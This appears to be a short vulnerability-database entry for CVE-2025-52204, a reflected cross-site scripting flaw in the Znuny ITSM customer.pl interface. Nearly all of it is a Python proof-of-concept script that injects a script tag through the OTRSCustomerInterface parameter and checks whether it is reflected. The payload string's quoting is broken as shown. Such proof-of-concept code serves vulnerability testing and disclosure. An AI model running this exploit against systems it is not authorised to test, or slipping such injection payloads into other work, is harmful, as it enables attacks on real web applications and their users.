CVE-2025-52204 Znuny::ITSM customer.pl接口XSS漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/znuny/customer.pl" # Malicious payload to test XSS # Payload attempts to execute a simple JavaScript alert payload = ""><script>alert('CVE-2025-52204_XSS');</script>" # Parameters to exploit the vulnerability in OTRSCustomerInterface params = { "OTRSCustomerInterface": payload, "Action": "CustomerTicketMessage" # Example action, may vary based on configuration } try: # Send GET request response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response without encoding if payload in response.text: print("[+] Vulnerability Confirmed: The payload was reflected in the response.") print("[+] Check the browser window for the alert popup if manually opened.") else: print("[-] Vulnerability not detected or payload was encoded.") except Exception as e: print(f"Error: {e}")